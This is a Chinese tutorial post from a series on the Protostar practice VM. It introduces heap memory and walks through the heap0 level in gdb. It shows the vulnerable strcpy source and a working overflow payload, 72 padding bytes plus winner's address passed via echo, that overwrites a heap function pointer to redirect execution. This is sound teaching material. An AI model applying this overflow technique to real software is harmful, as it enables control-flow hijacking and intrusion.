二进制安全虚拟机Protostar靶场(5)堆的简单介绍以及实战 heap0

news2024/12/23 18:34:33

在这里插入图片描述

前言

这是一个系列文章,之前已经介绍过一些二进制安全的基础知识,这里就不过多重复提及,不熟悉的同学可以去看看我之前写的文章

什么是堆

堆是动态内存分配的区域,程序在运行时用来分配内存。它与栈不同,栈用于静态分配内存,并且具有固定的大小

程序使用如malloc、calloc、realloc等函数在堆上动态分配内存。当内存不再需要时,使用free函数释放。
例如:

int main(int argc, char **argv)
{
  struct data *d;
  d = malloc(sizeof(struct data));
}

通过malloc函数分配的堆地址:

在这里插入图片描述

接下来就用实战来讲解堆的运作机制

heap 0

在这里插入图片描述

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {  #定义了一个名为data的结构体
  char name[64];  #包含一个64字节大小的字符数组name
};

struct fp {  #定义了一个名为fp的结构体
  int (*fp)();  #包含了一个函数指针fp
};

void winner()  #自定义函数winner
{
  printf("level passed\n");  #输出level passed
}

void nowinner()  #自定义函数nowinner
{
  printf("level has not been passed\n");  #输出level has not been passed
}

int main(int argc, char **argv)  #主函数,从命令行获取参数
{
  struct data *d;  #声明了一个指向 struct data 类型结构体的指针 d
  struct fp *f;  #声明了一个指向 struct fp 类型结构体的指针 f

  d = malloc(sizeof(struct data));   #给data结构体分配内存
  f = malloc(sizeof(struct fp));  #给fp结构体分配内存
  f->fp = nowinner;  #fp结构体中的函数指针初始化为指向nowinner函数

  printf("data is at %p, fp is at %p\n", d, f);  #输出data和fp结构体的内存地址

  strcpy(d->name, argv[1]);  #strcpy函数将命令行提供的第一个参数,复制到data结构体的name数组中
  
  f->fp();  #调用函数指针指向的函数nowinner

}

漏洞发生在strcpy函数处,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数

我们先在第一个malloc函数调用的地方下一个断点,然后执行到断点处,来看看堆是怎么运行的

在这里插入图片描述

现在停在了malloc函数处,还没有执行该指令,可以看到程序空间里是没有堆的

在这里插入图片描述

输入n执行malloc函数,再次查看程序空间

在这里插入图片描述

可以看到,多出了一个heap空间,也就是堆,地址是0x804a000-0x806b000,我们查看这个堆空间里的数据

在这里插入图片描述

现在堆里只有两个数据,0x49-1,0x48是第一个mallco函数给我们分配的空间大小,为什么要减一呢,因为在这个堆中保存数据是,为了区分是否是空闲区域,都会在表示大小的值后面加一个1,+1了就说明当前空间已经被存放了数据,那这里为什么后面存放的数据都是0呢,是因为这个程序是从命令行参数里获取值然后保存的,我们运行程序时没有输入参数,所以这里都是0

在这里插入图片描述

在这里插入图片描述

name函数大小设置的是64字节,为什么程序给我们分配了72字节的空间,其实是这样算的

在这里插入图片描述

程序还将前面保留的四个字节空闲空间和本身表示大小的空间算进去了

而最后的0x20fb9,表示空余堆空间的大小,我们在程序执行strcpy函数的地方下一个断点,这个地方是程序将我们输入的值存入堆里的地方

在这里插入图片描述

我们重新运行程序,输入A,执行strcpy函数的指令,再在查看栈空间

在这里插入图片描述
在这里插入图片描述

程序已经将我们输入的8个A的十六进制值放入了堆,并且下面还有第二个mallco函数的空间

在这里插入图片描述

而这个0x8048478则是nowinner函数地址

在这里插入图片描述

前面说过,strcpy函数不会检查目标缓冲区的大小,如果我们提供的参数超过64字节,它将导致缓冲区溢出,如果发生了缓冲区溢出,并且覆盖了f->fp的值,那么可以使它指向winner函数,调用winner函数,我们输入76个字符就能完整覆盖nowinner函数地址,控制程序跳转的地址

python -c "print('A'*72 + 'B'*4)"

在这里插入图片描述

重新打开gdb,然后运行

在这里插入图片描述

这里程序提示跳转到了0x42424242的地址,也就是我们输入的BBBB,这时我们查看堆空间

在这里插入图片描述

我们已经将nowinner函数地址给覆盖了

在这里插入图片描述

我们将BBBB改为winner函数地址,就成功破解了程序

在这里插入图片描述

我们可以使用echo工具来输入不可见字符

./heap0 "`/bin/echo -ne "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x64\x84\x04\x08"`"

在这里插入图片描述

在这里插入图片描述

成功跳转到winner函数

堆是一个很难的部分,为了方便入门,这篇文章只是简单的介绍了一些堆的运作机制,之后的文章再慢慢介绍其他的机制

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1425059.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

外包干了8个月,技术退步明显...

先说一下自己的情况&#xff0c;大专生&#xff0c;18年通过校招进入武汉某软件公司&#xff0c;干了接近4年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落! 而我已经在一个企业干了四年的功能测…

2023安防行业十件大事,一定有你关心的

2023年对我国安防行业来说&#xff0c;可以说是既充满希望又充满不确定性的一年。经历三年的市场低迷&#xff0c;2023年安防市场开始逐渐回暖&#xff0c;行业景气度缓慢上升。 那么&#xff0c;2023年我国安防行业都发生了哪些值得铭记的大事&#xff1f;哪些事件对安防产业…

手把手教测试,全网内容最全最深-jmeter-Throughput Controller(吞吐量控制器)

5.1.6.15.Throughput Controller(吞吐量控制器) 用来控制后代组件的执行的次数。有两种模式&#xff1a;百分比和次数&#xff1b;不会影响取样器的 TPS&#xff0c;只影响执行次数。 1.按照次数执行&#xff1a; 1).勾选Per User&#xff1a; 2).不勾选Per User&#xff1a…

Skywalking trace UI页面中字段信息详解,包括端点、跨度类型和Peer

刚上手Skywalking的同学可能对 trace UI 页面信息中的字段信息不是很了解&#xff0c;在这里就给大家一一讲解&#xff0c;重点关注端点、跨度类型和Peer 服务 :服务的名称 实例&#xff1a;服务对应的实例 端点&#xff1a;端点(Endpoint) 对于特定服务所接收的请求路径, 如…

Wampserver 切换中文时无法启动报错处理

在使用 Wampserver 软件时默认为英语&#xff0c;可以看到有语言选择功能&#xff0c;切换其他语言。但选择中文切换后&#xff0c;软件重启时报如下错误&#xff1a; The configuration file contains a systax error on line 44:[EParseError] Mismatched or misplaced quoue…

【Linux】VMware Workstation16安装银河麒麟高级服务器操作系统V10 SP3 AMD64

目录 一、麒麟服务器概述 二、安装步骤 设置硬盘大小 完成配置 修改内存 处理器等设备配置 选择直接安装 配置磁盘 网络配置 设置root账号密码 开始安装 启动完成 一、麒麟服务器概述 银河麒麟高级服务器操作系统V10是针对企业级关键业务&#xff0c;适应虚拟化、云…

PyTorch 中神经网络库torch.nn的详细介绍

1. torch.nn torch.nn 是 PyTorch 深度学习框架中的一个核心模块&#xff0c;它为构建和训练神经网络提供了丰富的类库。 以下是 torch.nn 的关键组成部分及其功能&#xff1a; nn.Module 类&#xff1a; nn.Module 是所有自定义神经网络模型的基类。用户通常会从这个类派生…

vue3 watch和watchEffect

Watch监听ref定义的数据 1.ref数据基本数据类型 let sumref&#xff08;0&#xff09; const stopWatchwatch&#xff08;sum,(new,old)>{ If(new>10){ stopWatch() } console.log(‘sum数据变化了’) }&#xff09;2.ref数据为对象类型,监听的是对象的地址值,若想监听…

一篇文章带你弄懂MySQL事务!(事务特性ACID、并发读的问题、事务的隔离等级、Read View 原理、可重复读和读提交分别怎么工作)

文章目录 一、什么是事务&#xff1f;二、事务有哪些特性&#xff1f;&#xff08;ACID&#xff09;三、认识事务的提交和回滚四、并行事务会引发什么问题&#xff1f;1.脏读2.不可重复读3.幻读 五、事务的隔离级别六、Read View 在 MVCC 里如何工作的&#xff1f;七、可重复读…

【PyRestTest】高级使用

本节主要涉及PyRestTest的高级特征的详细使用,主要指:generators(生成器), variable binding(变量绑定), data extraction(数据提取), content validators(文本验证) 它们是如何组合在一起的? 模板和上下文 测试和基准测试可以使用变量来模板化动态配置。使用基础的…

钉钉机器人关键词推送

钉钉机器人只勾选关键词&#xff0c;不选其它校验方式&#xff0c;只会校验发送内容中是否包含关键词 例如我设置关键词是robot {"msgtype": "text","text": {"content": "robot:抢票成功!"},"at":{"isAtAl…

【产业实践】使用YOLO V5 训练自有数据集,并且在C# Winform上通过onnx模块进行预测全流程打通

使用YOLO V5 训练自有数据集,并且在C# Winform上通过onnx模块进行预测全流程打通 效果图 背景介绍 当谈到目标检测算法时,YOLO(You Only Look Once)系列算法是一个备受关注的领域。YOLO通过将目标检测任务转化为一个回归问题,实现了快速且准确的目标检测。以下是YOLO的基…

安全防御第五次作业

拓扑图及要求如下&#xff1a; 实验注意点&#xff1a; 先配置双机热备&#xff0c;再来配置安全策略和NAT两台双机热备的防火墙的接口号必须一致双机热备时&#xff0c;请确保vrrp配置的虚拟IP与下面的ip在同一网段如果其中一台防火墙有过配置&#xff0c;最好清空或重启&…

操作日志应记录编辑的前后内容变化

总体思路是增加一个注解类&#xff0c;将注解加到要进行记录变化的Java类属性上却可。 上代码&#xff1a; 1. 实现注解类&#xff1a; Target(ElementType.FIELD) Retention(RetentionPolicy.RUNTIME) public interface FieldName {String value();boolean isIgnoreNull()…

lombok导致的IndexOutOfBoundsException

一、问题描述 ERROR 25152 --- [1.190-81-exec-9] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.mybatis.spring.MyBatisSyste…

ElementUI Form:Switch 开关

ElementUI安装与使用指南 Switch 开关 点击下载learnelementuispringboot项目源码 效果图 el-switch.vue &#xff08;Switch 开关&#xff09;页面效果图 项目里el-switch.vue代码 <script> export default {name: el_switch,data() {return {value: true,value1: …

Linux内核编译-ARM

步骤一、下载源码及交叉编译器后解压 linux kernel官网 ARM GCC交叉编译器 步骤二、安装软件 sudo apt-get install ncurses-dev sudo apt-get install flex sudo apt-get install bison sudo apt install libgtk2.0-dev libglib2.0-dev libglade2-dev sudo apt install libs…

【wine】Ubuntu 22.04 x86_64 源码编译 wine 9.1 编译版本不能启动微信,apt安装版本可以使用微信

git clone https://gitee.com/winehq/wine.git git checkout wine-9.1 x86_64 注意&#xff08;没有--enable-win32选项&#xff01;&#xff09; sudo apt install build-essential git libtool m4 autoconf automake pkg-config libc6-dev-i386 zlib1g-dev libncurses5-de…

人工智能时代:AI提示工程的奥秘 —— 驾驭大语言模型的秘密武器

文章目录 一、引言二、提示工程与大语言模型三、大语言模型的应用实践四、策略与技巧五、结语《AI提示工程实战&#xff1a;从零开始利用提示工程学习应用大语言模型》亮点内容简介作者简介目录获取方式 一、引言 随着人工智能技术的飞速发展&#xff0c;大语言模型作为一种新…

经典左旋,指针面试题

今天给大家带来几道面试题&#xff01; 实现一个函数&#xff0c;可以左旋字符串中的k个字符。 例如&#xff1a; ABCD左旋一个字符得到BCDA ABCD左旋两个字符得到CDAB 我们可以先自己自行思考&#xff0c;下面是参考答案&#xff1a; 方法一&#xff1a; #define _CRT_SEC…